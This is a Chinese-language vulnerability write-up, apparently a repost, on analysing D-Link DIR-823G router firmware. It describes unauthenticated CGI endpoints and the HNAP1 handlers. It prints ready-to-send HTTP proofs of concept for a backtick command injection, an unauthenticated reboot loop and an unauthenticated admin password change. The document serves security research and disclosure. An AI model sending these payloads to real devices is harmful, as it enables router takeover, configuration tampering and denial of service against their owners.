Dlink DIR-823G 漏洞挖掘過程


前言


本文由 本人 首發於 先知安全技術社區: https://xz.aliyun.com/u/5274

初步分析

首先下載固件

https://gitee.com/hac425/blog_data/blob/master/iot/DIR823GA1_FW102B03.bin

binwalk 解開固件

image.png

發現這是一個 squashfs 文件系統,里面是標准的 linux 目錄結構,所以這個固件應該是基於 linux 做的。

首先看看 etc/init.d/rcS , 以確定路由器開啟的服務。發現最后會開啟一個 goahead 進程

image.png

goahead 是一個開源的 web 服務器,用戶的定制性非常強。可以通過一些 goaheadapi定義 url 處理函數和可供 asp 文件中調用的函數,具體可以看看官方的代碼示例和網上的一些教程。

這些自定義的函數就很容易會出現問題,這也是我們分析的重點。

模擬運行固件

為了后續的一些分析,我們先讓固件運行起來,可以使用

https://github.com/attify/firmware-analysis-toolkit

這個工具其實就是整合了一些其他的開源工具,使得自動化的程度更高,具體看工具的 readme.

image.png

運行起來后,首先可以用 nmap 掃一下端口,看看路由器開了哪些端口

image.png

可以看到目前就開了 http 服務 和 dns 服務。

下面訪問一下路由器的 web 接口

image.png

第一次訪問路由器的 web 接口,就會要求用戶做一些初始化設置,比如設置密碼等。

攻擊面分析

對於一個路由器,我的主要關注點有

  • 后門賬戶,默認密碼
  • 敏感功能未授權訪問
  • web 服務對各種請求的處理邏輯

經過上面簡單的分析,發現只有 httpdns 服務是暴露在外的。http 服務的第一次訪問就會要求輸入新密碼,所以默認密碼的問題也不存在。下面分析 web 服務的處理邏輯。

經過簡單的測試發現,web 目錄應該是 web_mtn, 目錄的結構如下

image.png

cgi 程序, 未授權訪問

其中 cgi-bin 目錄下存放着一些 cgi 文件,這些 cgi 文件沒有權限的校驗,非授權用戶也可以直接訪問, 可能會造成比較嚴重的影響。

/cgi-bin/ExportSettings.sh 導出配置文件(信息泄露)。

image.png

/cgi-bin/upload_settings.cgi 導入配置文件(惡意篡改配置)

image.png

/cgi-bin/GetDownLoadSyslog.sh 獲取到系統的一些啟動信息./var/log/messages*

image.png

/cgi-bin/upload_firmware.cgi 上傳更新固件(惡意修改固件

image.png

goahead 中自定義的請求處理函數, 命令注入

goahead 不僅支持 cgi 的方式處理用戶請求,同時支持直接在 goahead 函數內部自己定義 url 的處理函數。

比如

websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);

就代表

  • /goform 的請求交給 websFormHandler 函數處理
  • /cgi-bin 的請求交給 websCgiHandler 函數處理

處理函數的參數列表為

int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
		char_t *url, char_t *path, char_t* query)

其中 wp 這個參數是一個比較復雜的結構體指針,里面保存了各種用戶請求的信息,比如 cookie, 請求的數據等。固件中也對該結構體做了很大的改動。

下面用 ida 打開固件中的 goahead 分析。

image.png

可以看到固件應該是被去掉了符號表。此時可以從字符串入手,可以通過 /cgi-bin 或者 /goform 找到定義 url 相應的處理函數的位置, 因為這兩個是源碼中默認有的。

通過交叉引用,最后找到注冊處理函數的位置 0x42424C

image.png

可以看到這里注冊了很多處理函數,通過 ida 的分析很容易看出 websUrlHandlerDefine 的第一個參數為 url, 第四個參數應該就是相應 url 的處理函數。

使用 burp 抓取登錄的數據包,發現是往 /HNAP1 發送數據

image.png

下面分析分析 /HNAP1 處理函數的邏輯。 函數位於 0x42383C

image.png

這個函數的主要邏輯是從 wp 結構體中取出此次請求需要調用的函數名,然后去全局函數表里面搜索,找到之后在進行處理。

其中函數表位於 0x058C560

image.png

函數表的每一項的結構應該是

  • 4 字節 函數名的字符串地址
  • 4 字節 函數的地址

找到了需要調用的處理函數后,會首先記錄 POST 的原始報文(通過運行過程查看日志文件,可以猜測出來)

image.png

這里記錄日志采取的方式是 首先用 snprintf 生成命令, 然后使用 system 執行。我們可以直接注入 ' 來命令執行

POC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

'`echo hacked_by_hac425!!!!!!!! > /web_mtn/hack.txt`'

最后會寫內容到 /web_mtn/hack.txt, 然后可以通過 web 訪問

image.png

HNAP1 接口繼續分析

接着又接續分析了 /HNAP1 的處理,這個接口通過 soap 實現了 rpc 的功能,其中有的接口沒有權限校驗,會造成一些嚴重的問題。

reboot 接口沒有校驗,可以不斷重啟 , ddos

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 298
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/RunReboot"
Referer: http://192.168.0.1/reboot.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><RunReboot xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>

image.png

修改密碼接口,未授權訪問,可修改密碼

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 402
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/SetPasswdSettings"
Referer: http://192.168.0.1/account.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetPasswdSettings xmlns="http://purenetworks.com/HNAP1/"><NewPassword>hackedbyhac425</NewPassword><ChangePassword>true</ChangePassword></SetPasswdSettings></soap:Body></soap:Envelope>

管理員密碼會被改成 hackedbyhac425.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM